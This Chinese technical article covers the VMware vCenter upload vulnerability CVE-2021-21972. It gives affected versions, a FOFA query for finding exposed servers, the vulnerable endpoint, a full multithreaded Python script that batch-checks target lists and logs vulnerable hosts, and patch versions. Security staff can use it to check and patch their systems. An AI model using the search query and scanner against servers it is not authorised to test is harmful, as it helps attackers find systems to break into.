關(guān)于Vmware vcenter未授權(quán)任意文件上傳漏洞(CVE-2021-21972)的問題
背景
CVE-2021-21972 vmware vcenter的一個(gè)未授權(quán)的命令執(zhí)行漏洞。該漏洞可以上傳一個(gè)webshell至vcenter服務(wù)器的任意位置,然后執(zhí)行webshell即可。
影響版本
vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5
漏洞復(fù)現(xiàn) fofa查詢
語法:title="+ ID_VC_Welcome +"

POC
https://x.x.x.x/ui/vropspluginui/rest/services/uploadova

使用https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC腳本批量驗(yàn)證
#-*- coding:utf-8 -*-
banner = """
888888ba dP
88 `8b 88
a88aaaa8P' .d8888b. d8888P .d8888b. dP dP
88 `8b. 88' `88 88 Y8ooooo. 88 88
88 .88 88. .88 88 88 88. .88
88888888P `88888P8 dP `88888P' `88888P'
ooooooooooooooooooooooooooooooooooooooooooooooooooooo
@time:2021/02/24 CVE-2021-21972.py
C0de by NebulabdSec - @batsu
"""
print(banner)
import threadpool
import random
import requests
import argparse
import http.client
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"
def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return ua
def CVE_2021_21972(url):
proxies = {"scoks5": "http://127.0.0.1:1081"}
headers = {
'User-Agent': get_ua(),
"Content-Type": "application/x-www-form-urlencoded"
}
targetUrl = url + TARGET_URI
try:
res = requests.get(targetUrl,
headers=headers,
timeout=15,
verify=False,
proxies=proxies)
# proxies={'socks5': 'http://127.0.0.1:1081'})
# print(len(res.text))
if res.status_code == 405:
print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
# print("[+] Command success result: " + res.text + "\n")
with open("存在漏洞地址.txt", 'a') as fw:
fw.write(url + '\n')
else:
print("[-] " + url + " 沒有發(fā)現(xiàn)CVE-2021-21972漏洞.\n")
# except Exception as e:
# print(e)
except:
print("[-] " + url + " Request ERROR.\n")
def multithreading(filename, pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
# func_params = [i] + [cmd]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(CVE_2021_21972, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
parser.add_argument("-f",
"--file",
help="Url File; Example:url.txt")
# parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
args = parser.parse_args()
url = args.url
# cmd = args.cmd
file_path = args.file
if url != None and file_path ==None:
CVE_2021_21972(url)
elif url == None and file_path != None:
multithreading(file_path, 10) # 默認(rèn)15線程
if __name__ == "__main__":
main()

EXP 修復(fù)建議
vCenter Server7.0版本升級(jí)到7.0.U1c
vCenter Server6.7版本升級(jí)到6.7.U3l
vCenter Server6.5版本升級(jí)到6.5 U3n
到此這篇關(guān)于關(guān)于Vmware vcenter未授權(quán)任意文件上傳漏洞(CVE-2021-21972)的問題的文章就介紹到這了,更多相關(guān)Vmware vcenter上傳漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
詳解CentOS下VMware用橋接模式,靜態(tài)ip上外網(wǎng)
這篇文章主要介紹了詳解CentOS下VMware用橋接模式,靜態(tài)ip上外網(wǎng),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。2016-10-10
VMWare中Ubuntu重啟后無法上網(wǎng)的解決方法
這篇文章主要為大家詳細(xì)介紹了VMWare中Ubuntu重啟后無法上網(wǎng)的解決方法,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-03-03
MAC VMWare Fusion網(wǎng)絡(luò)設(shè)置方法
今天小編就為大家分享一篇MAC VMWare Fusion網(wǎng)絡(luò)設(shè)置方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2018-06-06
如何解決VMmare虛擬機(jī)安裝過程沒有權(quán)限問題
這篇文章主要介紹了如何解決VMmare虛擬機(jī)安裝過程沒有權(quán)限問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2024-01-01
VM12中CentOS7以NAT的方式連接網(wǎng)絡(luò)的方法
本篇文章主要介紹了VM12中CentOS7以NAT的方式連接網(wǎng)絡(luò)的方法,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2017-02-02
VMware中安裝CentOS7(設(shè)置靜態(tài)IP地址)并通過docker容器安裝mySql數(shù)據(jù)庫(kù)(超詳細(xì)教程)
這篇文章主要介紹了VMware中安裝CentOS7(設(shè)置靜態(tài)IP地址)并通過docker容器安裝mySql數(shù)據(jù)庫(kù)(超詳細(xì)教程),本文圖文并茂給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-11-11
VMWare Workstation虛擬機(jī)訪問外網(wǎng)的圖文教程
今天小編就為大家分享一篇VMWare Workstation虛擬機(jī)訪問外網(wǎng)的圖文教程,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2018-06-06
Windows如何設(shè)置VMware虛機(jī)開機(jī)自啟
本文介紹了如何在Windows系統(tǒng)下設(shè)置VMware虛擬機(jī)開機(jī)自啟動(dòng),通過編寫批處理文件`start_VM.bat`,并將其添加到開機(jī)自啟目錄中,可以實(shí)現(xiàn)虛擬機(jī)的自動(dòng)啟動(dòng)2025-03-03
主機(jī)和VMware中的Linux實(shí)現(xiàn)共享文件夾的圖文教程
這篇文章主要介紹了主機(jī)和VMware中的Linux如何實(shí)現(xiàn)共享文件夾,本文圖文并茂給大家介紹的非常詳細(xì),需要的朋友可以參考下2017-11-11

